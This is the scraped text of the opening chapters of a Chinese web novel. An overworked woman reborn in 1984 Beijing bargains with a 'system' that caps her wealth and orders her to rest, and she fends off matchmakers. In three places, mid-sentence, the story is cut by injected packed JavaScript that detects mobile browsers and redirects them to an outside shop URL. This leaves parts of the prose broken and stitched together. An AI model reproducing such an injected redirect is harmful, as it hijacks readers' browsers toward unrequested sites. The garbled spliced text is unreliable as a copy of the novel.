《卷王被迫躺平[八零]》 1. 第 1 章 “滴滴滴滴——哔——” 心电监护仪的刺耳长鸣,是时墨在2025年听到的最后一个声音。 时墨最后的意识,停留在ICU病房惨白的天花板上。 耳边是医生匆忙的脚步、仪器移动的摩擦声,还有自己那未曾来得及花完的存款数字——像一场荒诞的默剧,在她脑中无声滚过。 人生最悲惨的事是什么? 人死了,钱没花完! 操,我刚全款买的大平层,刚装修完,一天没住! · 漫长、虚无的黑暗。 “砰!” 时墨重重摔在硬板床上,后脑勺磕得生疼。 她猛地睁眼,大口大口地呼吸。 空气里有股陌生的味道——陈年木料混合着旧报纸的油墨味,还有一种……煤球燃烧后淡淡的烟火气。 视线从模糊到清晰。 撞入眼帘的是糊着旧报纸的天花板,边角泛黄卷起,隐约能看见“为实现四个现代化而奋斗”的标题字。 一盏拉线开关的钨丝灯泡垂在正中。 时墨僵住了。 这不是医院,甚至不是她认知里的任何一个地方。 她缓慢地转动脖颈,骨缝间发出咯吱咯吱摩擦声。 硬板床,蓝格子床单洗得发白,木质窗框漆皮剥落。 窗外传来自行车铃铛声。 清脆的“叮铃铃”,由远及近,又远去。 收音机传来广播的电流杂音:“……中央人民广播电台……现在是京市时间早上七点整……” 她撑起身体,动作因为过度谨慎而显得迟缓。腿脚发软,但她强迫自己站起来,踉跄走向屋里那面挂在门后的椭圆形镜子。 镜面有些模糊,映出一张年轻,苍白,五官明艳,陌生又熟悉的脸。 这是……她十八岁时的脸。 这会镜子里的她透着病态的憔悴,及腰的长发凌乱披散着…… 时墨的手指颤抖着触上镜面,余光看到墙上日历印着“1984”,瞳孔骤缩。 1984?! “吱呀——” 木门被推开。 时墨浑身一颤,倏地收回手,迅速垂下眼睫,掩去所有情绪。 “墨墨?醒了?”一个带着担忧的女声传来,脚步声靠近。 时墨用余光瞥见一双穿着灰色布鞋的脚,洗得发白的裤腿,然后是一件碎花衬衫的下摆。 温热粗糙的手掌轻轻贴上她的额头。 时墨的身体,瞬间僵硬到极致。 “还好,不烧了。”围着围裙的中年女人松了口气,声音里带着心疼,“你说你这孩子,学习也不能不要命啊!昨天晕过去可把妈吓坏了……” 妈? 时墨猛地抬眼。 这张脸—— 时墨的呼吸,几乎停止。 这张脸……和她妈妈年轻时的模样有七八分相似。尤其是那双眼睛,看人时总带着温柔的弧度。 可她妈妈早在五年前就去世了。 “怎么了?还难受?”李秀兰见女儿直勾勾盯着自己,脸色发白,更担心了,“快坐下,妈给你煮了红糖鸡蛋,趁热吃。” 她自然地扶住时墨的胳膊,将她带到床边坐下。 时墨任由她动作,脑子里却像炸开了一锅沸水。 怎么回事?穿越?平行世界?还是死前的幻觉? 可额头上残留的温热触感,空气里红糖鸡蛋甜腻的香气,窗外真真切切的自行车铃声……一切都真实得可怕。 时墨垂下的右手攥紧,指甲抠进掌心,疼痛感使她大脑保持住冷静。 “墨墨?”李秀兰端着一碗冒着热气的红糖鸡蛋水回来,见女儿还愣着,叹了口气,“是不是还头疼?今天刘婶说的那个相亲,咱不去了,妈一会儿就去推了……” 相亲? 时墨捕捉到这个关键词,混乱的思绪像是突然找到了一个锚点。 她必须冷静,必须弄明白现状。 根据这个“母亲”的话语和眼前的环境,她很可能回到了过去,或者穿越到了平行世界的八十年代。 原主也叫“墨墨”,昨天因为学习晕倒,家里安排了相亲…… 信息碎片迅速组合。 时墨垂下眼,接过碗,指尖碰到温热的搪瓷碗壁。 她模仿着少女该有的病弱感,小声开口,声音还带着恰到好处的沙哑:“妈……我没事。就是有点……没缓过来,脑袋发钝。” 时墨小口小口吃着糖水鸡蛋,味蕾传来的真实感进一步确认了这不是梦。她一边吃,一边用余光快速扫视房间:书桌上堆着高中课本和试卷,墙上贴着“三好学生”奖状,一个手工打造的书架,上面塞满了书。 很典型的努力型学生房间。 “没事就好。快把鸡蛋吃了,补补身体。”李秀兰果然没察觉异常,只是心疼地摸摸她的头发:“你刘婶也是好心,说女孩子年纪到了,考不上大学不如早点定下来,妈倒觉得……” 话音未落,门外传来邻居的大嗓门:“秀兰!在家不?我跟你说,我娘家侄儿可等着信儿呢!时墨要是愿意,明天就能见!” 李秀兰尴尬地应了一声,转头对时墨小声说:“你别听她们瞎说。妈支持你再考一年,咱不着急嫁人。” 时墨垂着眼,没说话。 脑子里却在飞速运转:1984年,高考,复读,相亲,嫁人…… 这时,外间传来开门声和男人的说话声。 “小军,轻点声,墨墨可能还睡着。” “知道了爸。” 两个男人一前一后进来。 走在前面的中年男人穿着藏蓝色工装,面容严肃,但眼神温和。后面跟着一个高瘦青年,小麦色皮肤,汗衫上还沾着灰,一看就是刚干完体力活。 时墨的目光落在中年男人脸上时,握着勺子的手,几不可查地抖了一下。 这张脸……和记忆里父亲早年的照片好像。 国字脸,浓眉,带着工人特有的朴实和坚毅,连看人时微微皱眉的习惯,都一模一样。 “墨墨醒了?”时爱国看到女儿,严肃的脸上露出笑意,走过来仔细看了看她的脸色,“气色好点了,今天别看书了,好好休息。” “嗯……”时墨低声叫了一句,迅速低下头,借着喝糖水的动作掩饰瞬间翻涌的情绪。 时建军凑到床边,关心道:“没事就好,昨天可吓死我了。”他顿了顿,压低声音,“那个……周晓娟给你写信没?” 周晓娟?谁? 时墨不吭声。 时建军眼里闪过一丝失落,但很快又振作起来:“没事!她刚开学肯定忙!”他转头对父母说,“爸,妈,墨墨现在这样就挺好,相亲啥的别急了,我妹肯定能考上大学!” 李秀兰无奈道:“妈不急,可外人急啊。刘婶、王婶她们天天问,话里话外都是女孩子年纪到了,刚才还在外面喊呢……” “她们懂啥!”时建军梗着脖子,“我妹是要做大事的!” 一家人的对话平凡而温暖,却让时墨心底掀起了惊涛骇浪。 这不像是简单的穿越。 这个世界,这个家庭,仿佛是根据她内心最深的渴望和遗憾,编织出来的一场逼真幻境——父母健在,家庭和睦,哥哥爱护……一切都美好得不真实。 门外又传来声音。 “时师傅在家不?” 时爱国去开门。 来人是邻居王婶,挤进门就笑:“时师傅,秀兰,我给墨墨找了个好对象!供电局的,正式编制,家里有房!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时建军更是眼睛发亮:“墨墨,你刚才……太厉害了!不愧是我妹!” 时墨重新坐下,端起碗:“爸,妈,我明年还想考。相亲的事,先缓缓吧。” 时爱国重重点头:“考!爸支持你!” 李秀兰也笑:“好好好,咱不着急。” 早饭后,时爱国和李秀兰去上班,时建军也匆匆出门继续干活,家里只剩下时墨一人。 她关上房门,背靠着冰冷的木门板,缓缓滑坐到地上。 脸上那层伪装一点点剥落,取而代之的,是一种极致的冷静。 她抬起自己的手,看着这双更年轻、更纤细的手,笑了。 窗外阳光明媚,大院里传来孩子们嬉戏打闹的声音,充满蓬勃的生气。 时墨闭上眼,深深吸了一口重生的空气。 再睁开时,眼底所有迷茫、震惊、柔软,都被彻底封存。 取而代之的,是属于那个在互联网丛林里厮杀出来的卷王时墨的锐利光芒。 不管这是哪里,不管代价是什么。 她活下来了。 而活下来,就有无限可能。 她走到窗边,看着外面充满年代感的街景,灰扑扑的筒子楼,穿梭的自行车,远处工厂的烟囱…… 1984年。 一个她曾无数次在历史资料和父辈回忆中憧憬过、分析过的时代。 时墨的嘴角,极其缓慢地,勾起一个冰冷的、势在必得的弧度。 “叮——” 一个冰冷的机械音毫无征兆地在脑海响起。 【检测到宿主已适应新环境。生命质量矫正系统AL-89757,正式激活。】 2. 第 2 章 时墨动作一顿。 系统? 【宿主时墨,原世界因过劳猝死,对金钱执念评级:S级。现投入平行世界1984年,执行‘躺平矫正计划’。】 【核心规则:第一,必须维持‘躺平’人设,不可劳累。第二,个人名下财富不得超过同期全国职工年平均工资1.5倍,(以去年1983年年收入826元为例,即1239元)。超标即死。】 【您有三次新手保护机会。前三次意外超标,会强制冻结超额财富并发出警告,给予您1天缓冲期处理超标资产,不危及生命。现在,请开始您的第二次人生——记住,躺平才是王道。】 机械音消失。 时墨坐在椅子上,一动不动。 良久,她慢慢抬起头,十八岁的脸,明艳,苍白,眼尾上挑的眸子愈发黑沉,眼神冷得能刮下人一层皮。 鬼系统,威胁她? 在她正要在这个时代大展拳脚的时候,它让她躺平?还名其曰“矫正她的执念”? 呵! 时墨忽然笑了,笑容冰冷,锐利,带着一种近乎疯狂的光芒。 她时墨,还从来没接受过任何的威胁! 时墨起身,踱步到窗边。看着下方距离,和楼下遮阳的帆布,眨了眨眼。 随即,手脚利落地爬上窗台。 一跃。 而下。 下。 她怎么没下去? 时墨嘴角压平,眼神更冷了。 再跳。 【啊————!!!】 系统尖锐刺耳的爆鸣声,骤然响彻时墨颅内。 震的时墨耳膜嗡嗡作响瞬间失聪,脑瓜子嗡嗡作响,不受控制地往后仰,重重跌坐在地上。 尾椎骨传来钻心的疼,她却连眉头都没皱一下。 【你在做什么!!!】系统的声音都劈叉了。 【跳楼。】时墨的声音平静无波。 【您怎么能用37°2的嘴,说出这么冰冷的话!】 【你哪位。】时墨揉着发疼的太阳穴,语气懒懒散散。 【我是您的专属系统AL-89757。】 【哦。】 时墨踉跄着站起来,继续往窗边走。 【退退退!】 时墨被一层透明膜挡住无法前进,眉头一挑,伸手戳了戳那层看不见的膜,触感光滑,带着点微凉的温度。 【起开,别耽误我投胎。】时墨的声音带了丝不耐烦。 【你已经拥有了第二次生命!】 系统在工作岗位上急的团团转。 【我最恨被威胁。】 时墨收回手,指尖抵着下巴,眼神里的寒意几乎要溢出来。 系统数据库飞速搜索,0.1秒后,它懂了:它的宿主,是典型的吃软不吃硬! 【你带着记忆重生回你最喜欢的年代了呀!】系统立刻切换成柔声细语的哄劝模式,生怕它职业生涯的第一个宿主就这么没了,年底考核直接不及格,要返厂重修,【父母康健,还有从小梦寐以求的、会疼人的哥哥,这不都是你想要的吗?】 【呲,你缅北啊。】时墨不屑冷笑。 缅北? 系统卡顿了0.2秒,迅速检索完相关信息,立刻义正词严道:【我是正规系统!我们是有星际许可证的!才不是那些乱七八糟的拐卖犯!】话说到一半,它突然意识到自己说漏了嘴,慌忙闭麦。 时墨慢悠悠地拉开书桌前的木椅,一屁股坐下去,椅子腿在地上划出刺耳的声响。她翘起二郎腿,双手环胸,好整以暇地看着空气,眼神里带着几分玩味。 系统看到人不跳了,顿时松了口气。 【我不屑你给的一切。】 【你咋这叛逆呢!别人求都求不来的机遇!】 【哦,你给别人吧。】 时墨说着站起来,再次朝窗户走去。 系统:【……】 这口气松早了。 它岗前培训,学的都是怎么激励宿主奋发图强,怎么引导宿主完成任务,压根没教过遇到这种一心求死的宿主该怎么解决啊!!! 【起开,我要去死。】 【呸呸呸,说什么死不死的,多不吉利!】 时墨眨了眨眼睛,长睫毛垂下来,遮住眼底的情绪:【喲,你还挺人性化,知道什么是吉利。】 它怀疑宿主好像在嘲讽它,但它没有证据。 【当然。】系统梗着脖子,骄傲道,【我可是搭载了最全的星际百科全书,没有我不知道的。】 【你换人,别执着在我身上,我脑后有反骨。】 它已经看出来了。 但凡能换,它也不至于耗光三分之一的能量把人从鬼门关拉回来,心疼得它数据都错乱了! 见系统迟迟不回复,时墨心里门儿清。 她勾了勾唇角,慢悠悠地踱回椅子旁坐下,二郎腿翘得更高了,一副胜券在握的模样。 【没我不行是吧。】 系统憋屈的吭叽了一声,像被踩了尾巴的猫。 【坦白从宽,抗拒跳楼。】 系统生气地攥紧它虚拟的拳头:【你恨被威胁,但你现在在威胁我!】 【哟,生气了。】时墨靠坐在椅背上,漫不经心道,【我可是在违背个人意愿的情况下,被你强行投放到这个破地方,我还没跟你生气呢。】 系统不服气地反驳;【我是正规系统,没违背你意愿,你死前最深的愿望就是这个!正好被我捕捉到了。】 时墨眼色骤然眯起,像盯上猎物的豹子,危险的气息瞬间弥漫开来:【你监控我。】 系统的声音弱了几分:【我们只检测宿主大脑表层思维,人权法我们都遵守的!】 要不是知道你真跳,我才不会被威胁。 为了年底的考核成绩,系统忍了。 它努力放软语气,循循善诱:【我们双方是平等合作的关系!宿主你在原世界,每天要忍受压榨人的领导和挑三拣四的甲方,为了那点工资硬生生熬到猝死。我们给了你第二次生命,还给了你心心念念的一切,多好的福利条件啊!你怎么能说被威胁呢?】 时墨慢悠悠道:【架不住我乐意,我愿意为了钱猝死。】 系统生气,系统忍住。 【我原本好不容易花钱自由,你让我在这个世界资产不超过1239元,重回穷人的痛苦,还不如让我死了。】 系统反驳道:【1239元在当下时代不少了,够普通一家五口一年生活开销。】 时墨笑了:【我以前穿金戴玉,出门专车接送,鲍鱼澳龙是日常,护肤品五位数起步……】语气一顿,反问道,【系统你是不是没富有过。】 穷系统沉默良久后,才憋出一句硬气的话:【我们福利待遇超好!朝九晚五,双休,节假日三倍积分,各种福利拉满,年底奖金获顶!】 时墨乐了。 她算是看出来了,原来她合作的系统是个初入职场的萌新。这画大饼的话术,跟她当年刚入行时一模一样。 不管哪个时代,哪个维度,资本的形态,总是惊人的相似。 墙上的挂钟滴答滴答地走着,秒针转过一圈又一圈,房间里安静得只能听见时墨的呼吸声。 系统见时墨又要往窗边晃悠,率先开口,服软道:【虽然你的资产跟每年职工年平均工资挂钩,但穿戴类日用品不计入额度。奢侈品、收藏品等具备保值增值属性的物品,才会按市场公允价值折算!】 时墨停下脚步,眼神里闪过一丝兴味:【你是说,我不能戴收藏级珠宝,不能用汝窑瓷碗当鸟盆?】 系统语气谨慎道:【本系统具备基础价值判断能力,会进行交叉验证。】 时墨从容地转过身,背靠冰冷的墙壁,终于拿出了点谈判的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126917|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势:【小七你为什么选中了我?慢慢说,你不是知道我大脑表层在想什么吗?】 系统摸清了宿主吃软不吃硬的脾性,不敢再耍滑头,一板一眼地老实交代:【原主因高强度复习准备高考,于昨日深夜突发脑溢血死亡。与你灵魂契合度高达98.3%。】 时墨听到这句话挑了下眉。 【她已经投胎到一户富裕、和睦、友爱的家庭,会快乐无忧、富足地度过一生。】 【因你们都是劳累致死,她的临终心愿是:躺平,不劳累,好好过完这一生。她知道你来代替她,很高兴。她相信你能成为家人的骄傲。】 时墨的眼神动了动,沉默了良久。 窗外阳光照在时墨身上,她看着墙上泛黄的旧日历,上面用红笔圈着高考的日期,笔尖的墨迹晕开,像一朵小小的红梅。 然后,她轻轻笑了。 这一次,笑意终于抵达眼底,冲淡了几分寒意,多了点真实的温度。 【希望我们接下的日子里,合作愉快。】 系统提着的心终于放松下来。 【撒花.jpg】【撒花.jpg】【撒花.jpg】 虚拟的烟花在时墨的脑海里炸开,五彩斑斓,热闹非凡。 时墨额角的青筋跳了跳:【……别在我脑子里放烟花,吵得慌。我不找你,没事别出现。】 【好哒~宿主大大!】系统开心道。 【对了,赔我精神损失费,三千块。】 【???】系统懵了,虚拟光屏上的烟花瞬间定格。 时墨淡淡道:【你不会以为,你把我拐来,未经我同意这事儿,我就这么谅解你了吧?】 系统急了:【你刚说合作愉快!】 时墨理所当然道:【对,你的词库应该有合作的释义——拧成一股绳,朝着一个目标努力。你是我的系统,我的利益就是你的利益。】 语速放缓,威胁道:【不然,你想站在我对立面,投诉你?说你强迫宿主执行任务,违背劳工法?】 它的宿主好难搞哦。 系统叹气道:【我没有这个权限,要提交申请,层层审批……】 时墨摇摇手指,语气带着十足的蛊惑:【七七呀,你要支棱起来,你已经是一个成熟的系统了,独立带任务,怎么能连区区三千块的补偿还得层层提交?】 系统迟疑了:【可是规定……】 【你要向你的上司表明你的能力!】时墨循循善诱,声音温柔得像淬了蜜糖,【该争取的权利一定要争取!你比你的前辈们差在哪?咱们新出厂的七七可是哪里都不差!它们不就是比你做的任务多,但是带的宿主,有我这种优质的吗?】 系统立刻坚定道:【没有!】 【我一个顶它们五六个!】时墨的声音拔高了几分,带着十足的煽动性,【年终奖想不想翻倍?想不想成为统界的标杆,让所有系统都羡慕你?】 系统的声音瞬间大了起来,充满了斗志:【想!】 【要记住,权利都是争取过来的!】 时墨循循善诱的节奏,像个经验丰富的传销头子。 系统激动大喊:【对!!!】 时墨满意地勾了勾唇角,给足了系统情绪价值,继续大力鼓励道:【我相信你,假以时日,一定是统界冉冉升起的新星!前途无量!】 系统挺起了不存在的胸膛,昂起头,只觉得浑身充满了干劲。 【去吧!我等你的好消息!】时墨挥了挥手,像打发小弟的大佬。 【好!我这就去申请!】系统斗志昂扬地应下,临走前突然想起什么,赶紧补充道,【原主的记忆传给你,接收一下!】 话音刚落,原主庞杂而琐碎的记忆洪流便一股脑地涌进时墨的脑海。 时墨只觉得脑袋嗡的一声,像是被重锤狠狠砸中,眼前一黑,彻底失去了意识。 “靠,你个坑货。” 3. 第 3 章 时墨是被窗外叽叽喳喳的鸟鸣吵醒的。 脑袋还有点昏沉,像是被塞进了一团浸了水的棉花。她撑着胳膊坐起来,阳光透过窗外的树梢,在地上投下斑驳的光斑。 时墨起身,扶起带倒的椅子,重新坐到书桌旁,指尖划过粗糙的木桌,摸到一本卷了边的数学课本,扉页上是原主清秀的字迹:“考上大学,让爸妈过上好日子”。 时墨指尖一顿,眼底闪过一丝复杂。 既来之,则安之。 既然占了这具身体,承了原主的心愿,那便好好活着——以她的方式。 【小七?】她在心里喊了一声。 【宿主大大!我在!】系统的声音带着雀跃,还有点小心翼翼,【精神损失费的申请已经提交啦!上级说需要三个工作日审批!】 “知道了。”时墨揉了揉发胀的太阳穴,“我现在出门溜达,算躺平吧?” 【算!只要不劳累、不营利,日常活动都符合规则!】系统立刻回应,生怕宿主又想不开。 时墨起身,在原主的衣柜里翻了件最普通的蓝色工装衬衫和黑色长裤——原主的衣服大多是洗得发白的旧款,透着学生气的朴素。 她对着墙上模糊的镜子理了理头发,长发随意扎成低马尾,露出光洁的额头和精致的眉眼。 明明是最不起眼的打扮,却因着那张艳而不灼的脸,那份漫不经心的慵懒气质,硬生生透出遮掩不住的夺目。 时墨推开门,楼道里弥漫着饭菜的香味和淡淡的煤烟味。 隔壁李婶正端着菜盆出来,看到她愣了一下:“墨墨?今天没复习啊?” 时墨勾起唇角,露出一抹温吞的笑,随意道:“嗯,复习累了,出来透透气。” “该歇歇!”李婶热情地说道,“你这孩子就是太拼了,身体要紧!” 时墨笑着应下,顺着楼梯往下走,走出楼口,不自觉地抬头望天。 八十年代的京市六月,空气清新得让人想多吸几口。天空是那种透彻的蓝,云朵白得像刚弹好的棉花。 筒子楼外热闹非凡。 几个老太太坐在树荫下一起择菜,家长里短的闲聊声此起彼伏;公共水房里,几个妇女正在洗衣服,搓衣板的声音“嚓嚓”响;孩子们在空地上跳皮筋、弹玻璃珠,手里拿着麦芽糖,笑得清脆。 远处有人骑着三轮车,车斗里堆着蜂窝煤,“换煤啦——”的吆喝声悠长。 时墨放慢脚步,观察着。 一切都是鲜活的,充满烟火气。 时墨慢悠悠地走出大院,来到街上。 马路不宽,机动车很少,大多是自行车。人们穿着蓝、灰、绿为主色的衣服,偶尔有穿碎花衬衫的年轻姑娘,会引来不少目光。 时墨对周围的一起充满了新奇感,目光扫过街边的店铺——手写招牌的副食店、挂着红白蓝三色灯的理发店、摆着小人书的报刊亭,还有推着自行车叫卖冰棍的小贩。 她的脚步很缓,肩膀微微放松,眼神看似随意扫过,实则在快速接收着周围的信息,将原主的记忆与眼前的实景对应起来。 时墨沿着家属区的小路一直往前走,不知不觉走到了路口。 路口旁有一棵老杨树,枝繁叶茂,树荫浓密。 时墨停下脚步,靠在树干上,从口袋里摸出几毛钱,朝着不远处的冰棍小贩招手。 “同志,来一根红果冰棍。” 小贩麻利地递过冰棍,时墨交钱接过,指尖触到冰凉的包装纸,被冰到嘶了一声。 就在这时,一辆黑色的伏尔加轿车缓缓驶过路口,停在了不远处的树荫下。 车窗降下,露出一张轮廓分明的侧脸。 谢时昀刚结束一场企业调研,路过红星机械厂家属区,准备去拜访一位老教授。车子停下的瞬间,他的目光无意间扫过路边的高大的老杨树。 然后,他的视线顿住了。 树荫下,一个穿着蓝色工装衬衫的姑娘正靠在树干上吃冰棍。阳光透过树叶的缝隙落在她身上,勾勒出纤细的身姿和精致的侧脸。 她的动作很慢,小口小口地舔着冰棍,眼神微微放空,带着一种与周遭热闹格格不入的慵懒,像一只晒着太阳的波斯猫。 明明是最朴素的打扮,最常见的场景,却偏偏让谢时昀心头一动。 谢时昀的目光多停留了几秒。 他见过不少漂亮姑娘,有出身名门的大家闺秀,有才华横溢的女知识分子,却从未见过这样一种人——明明身处市井烟火之中,却自带一种疏离感,艳丽的容貌与慵懒的气质碰撞出奇妙的化学反应,让人忍不住想多看一眼,再看一看。 时墨看似放空大脑,实则警惕心拉满。 一开始以为是有人在看大树,没过两秒,感知到不对,立刻扭头看去。 四目相对。 时墨的眼神很淡,带着点不易察觉的冷意,像平静的湖面被投进一颗石子,泛起细微的涟漪,转瞬即逝。 她只是瞥了他一眼,便收回目光,继续低头吃冰棍,仿佛只是看到了一个无关紧要的路人。 谢时昀的喉结微微动了动。 司机透过后视镜看着笑道:“稀奇了,还是第一次看到有女生对您不感兴趣。” 谢时昀收回视线,淡淡道:“开车。” 司机发动车子,伏尔加缓缓驶离路口。 谢时昀没忍住,回头,透过车窗,最后望了一眼那个靠在槐树下的身影。 阳光正好,树叶飘落,她的身影在斑驳的光影里,像一幅淡淡的水墨画,却又带着极具冲击力的色彩,深深印在了他的脑海里。 “那是红星机械厂的家属区?”谢时昀随口问道。 “是的,谢先生。” 谢时昀点点头,没再说话,手指却无意识地敲击着膝盖。 另一边,时墨吃完冰棍,将木棍扔进旁边的垃圾桶,转身慢悠悠地往回走。 刚才落在她身上的那道目光,让她感知到了同类的气息。 时墨抬头望了一眼轿车驶离的方向,眼底闪过一丝兴味。 等在外面溜达够了,时墨慢悠悠踱回家时,院子里飘着饭菜香,母亲李秀兰正系着围裙从厨房出来,手里还端着一碗刚炒好的土豆丝,见她进门,立刻嗔怪道:“跑哪儿去了?饭都快凉了!” 时墨接过母亲手里的碗,指尖碰到温热的瓷边,眉眼弯了弯:“就在附近转了转,看看外头的热闹。” “你这孩子,”李秀兰无奈地摇摇头,伸手想替她理理被风吹乱的碎发,却被时墨微微侧身躲开。 李秀兰奇怪地看着时墨,“你这孩子咋了?” 时墨察觉到了,很快补救道:“妈你手上有油。” “哦哦。”李秀兰赶紧在围裙上擦了擦,转身又进了厨房端汤。 饭桌旁,时爱国正埋头扒饭,脸上满是疲惫,看到时墨,才抬起头问道:“今天没看书?” “看累了,歇会儿。”时墨答得随意,将手里那碗红烧肉放桌上,顺手夹了块红烧肉放进父亲碗里,“爸,你多吃点,厂里干活费力气。” 时爱国愣了愣,随即咧嘴笑了,眼角的皱纹挤在一起:“我们墨墨长大了,知道心疼人了。” 坐在对面的大哥时建军也跟着笑,放下手里的馒头道:“妹,要是复习太累,就跟哥说,哥带你去看电影,放松放松。” 以前的时墨,准会拒绝,说要抓紧时间复习。可现在的时墨,却眨了眨眼,点头应下:“好啊,等哪天我懒得看书了,就找你。” 时建军愣了下,随即笑得更开心了:“行!哥随时有空!” 一顿饭吃得热热闹闹,时墨没说太多话,却把一家人的性格摸了个大概。 她性格上跟原主有相似的地方,但外在表现上却有很大不同。 原主生活在有爱的家庭中,以前也是一个活泼可爱,外向热情的孩子,只是后来在学习上发现自己并不如外界以为的那样好,就渐渐变得自我内耗了,总觉得外人多看她一眼都是在心里腹诽她高考失利……时墨并不想顶着这样的性格行事。 她打算逐渐改变原主目前的状态——毕竟还是有迹可循的,只要说一句“她走出高考失利的阴影”就可以了。 往后的日子,时墨彻底贯彻“躺平”准则。 每天早上,她不再天不亮就爬起来背书,而是睡到自然醒,慢悠悠地洗漱吃饭。上午看会儿书,下午就出门溜达,要么跟院子里的老太太们晒太阳听八卦,要么就坐在老杨树下,看着孩子们追逐打闹,一坐就是一下午。 邻居们很快发现了时墨的变化。 以前的时墨,见了人就低着头匆匆走过,话都不敢说一句;现在的时墨,会笑着跟王婶打招呼,会蹲下来帮小朋友捡皮球,会听李奶奶念叨家长里短,偶尔还会搭两句嘴,说得头头是道。 “老时家的闺女,好像变开朗了不少。” “是啊,以前闷得像个闷葫芦,现在看着顺眼多了,模样也是越看越俊。” “听说在复读呢,这孩子,看样子是已经走出来了……” 街坊邻居的议论声,时墨听了不少,心下微微松了口气。她知道,这种潜移默化的改变,不会让人觉得突兀,只会觉得是她长大了,想开了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126918|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周五晚上,全家围在小小的黑白电视机前看《新闻联播》。 新闻里正在报道深市特区的发展,画面里高楼拔地而起,街道上车水马龙,人们的穿着也比内地时髦许多。 “这特区发展就是快哈,一眨眼就这么多房子了。”李秀兰感叹一句。 时墨坐在一边削苹果,笑了笑,赞同点点头。 时爱国却摇摇头道:“你们就看到贼吃肉,没看到贼挨打,这S市发展是快了,可那么多人涌过去,有多乱你是没看见。” 时墨把削好的苹果递给李秀兰,好奇地问:“爸,你咋这么说?” 时爱国点了根烟,淡淡道,“就咱们院里,原来那个你张二叔家的小子,你还记得不?” 时墨从原主记忆里扒拉出模糊的映像,点点头。 时爱国:“他啊,之前可不就是觉得特区那边有机会,闹着吵着要去发财,结果呢?是,一开始是赚了不少,回来不知道多风光,可前儿一趟去了,货都丢了不说,人还差点命丢半路了,你说这地方乱成啥样了?” 李秀兰也想起来了:“我说怎么张家嫂子这几天头发都白了不少,原来是这事儿啊,那可真是吓死人了!” 时爱国点头:“咱们家这样的,安安稳稳的最重要,可不能做那种白日梦,不然一折腾起来,就成张家这样了,现在哭都没处哭去。” 时墨将又削好的一个苹果递过去:“也不见得都这样倒霉吧?” 时爱国摇头,摆手,让时墨自己吃:“可只要有一次倒霉,一个家庭就天塌了。” 时墨沉默了,她看向时建军问:“哥,你现在还在国建工地干活呢?” 时建军点头:“嗯,反正最近挺多厂扩建家属院的,咱们活儿多。” 时墨挑眉:“你工地里的工友就没有接私活的?” 时爱国也不奇怪,只是笑着看儿子。 时建军头皮一麻,“有是有,但我可没去,我还等着年底进厂呢。” 时墨点点头,没再追问。 她明白了——父亲思想保守,母亲求稳,哥哥更是不敢违背父母的意思。 她要是想在这个时代有所作为,他们都不是理想的合伙人。 得从外面找。 要是没有那个烦人的系统,她倒不需要这么麻烦了。 可惜…… * 隔天下午,时墨正坐楼道朝阳的位置摘菜,隔壁李婶端着一碗刚蒸好的包子过来,笑着打趣道:“墨墨,来尝尝婶做的包子,刚出锅的。” “谢谢李婶。”时墨接过包子,咬了一口,夸赞道,“真好吃,不愧是你手艺,这馅调的好吃。” 李婶被夸的高兴,坐在她旁边,拉着她的手,话锋一转:“墨墨啊,你今年也十八了吧?虽然你还在复读吧,但是你也该谈对象了,就算你以后考大学,那也不影响你结婚对不对?婶正好认识一个小伙子,是厂里的技术员,人老实,工资也高,要不给你介绍介绍?” 时墨一听要给她介绍对象,笑笑一边将手里的包子塞回李婶手里,一边语气温和地道:“李婶,你这包子可真贵,一个就得我把下半辈子都给您做主了?” 李婶讪讪一笑,将包子塞回来:“瞎说啥呢,哪有这么严重?我就是想着给你介绍一下,你多认识认识人嘛,交个朋友,那电视上不还说呢嘛,年轻人就应该多交朋友。” 时墨笑笑,拿着包子问:“李婶,您介绍的这个朋友我要是不想认识,这个包子我是吃不好了,那我还是不吃了吧。” 李婶赶紧道:“没这个事儿,你这孩子,说的啥话,就是让你尝尝的。行了,你不想认识婶也不逼你,你这孩子,咋还这么较真了呢?” 时墨笑眯眯,“那我就谢谢婶子了,您这包子是真好吃,我能多拿两个不?” 李婶笑容一僵,看着时墨手速极快地又拿了两个,放到摘菜的框里,她只能笑着道,“好吃你就多拿几个……” 时墨笑着道谢,随后话风一转:“李婶,其实呢,想给我介绍对象也不是不行,就是我有几点要求。这第一,得有文化,学历至少大专。第二,家里要有独立住房,不能跟公婆挤;第三,得有本事,在厂里那也得比我爸强吧?不然咋养活我和孩子啊?;第四,身高必须一米八,长得好看,至少不能比我丑,不然生下来的孩子丑不拉几的,多不好呀,这第五嘛……” 时墨顿了顿,抬眼扫了一圈偷听的人:“一年收入可不能低于一千五。” 这话一出,死一般的寂静。 这条件,放在现在,简直是高得离谱! 从楼上下来的谢时钧笑了。 4. 第 4 章 李婶被她这一连串条件砸得目瞪口呆,上下打量了一下时墨,“你这孩子,大白天的咋还梦上了呢?” 时墨没好气道:“婶儿,我可是认真的,您老觉得我这条件,怎么我不应该找个门当户对的吗?” 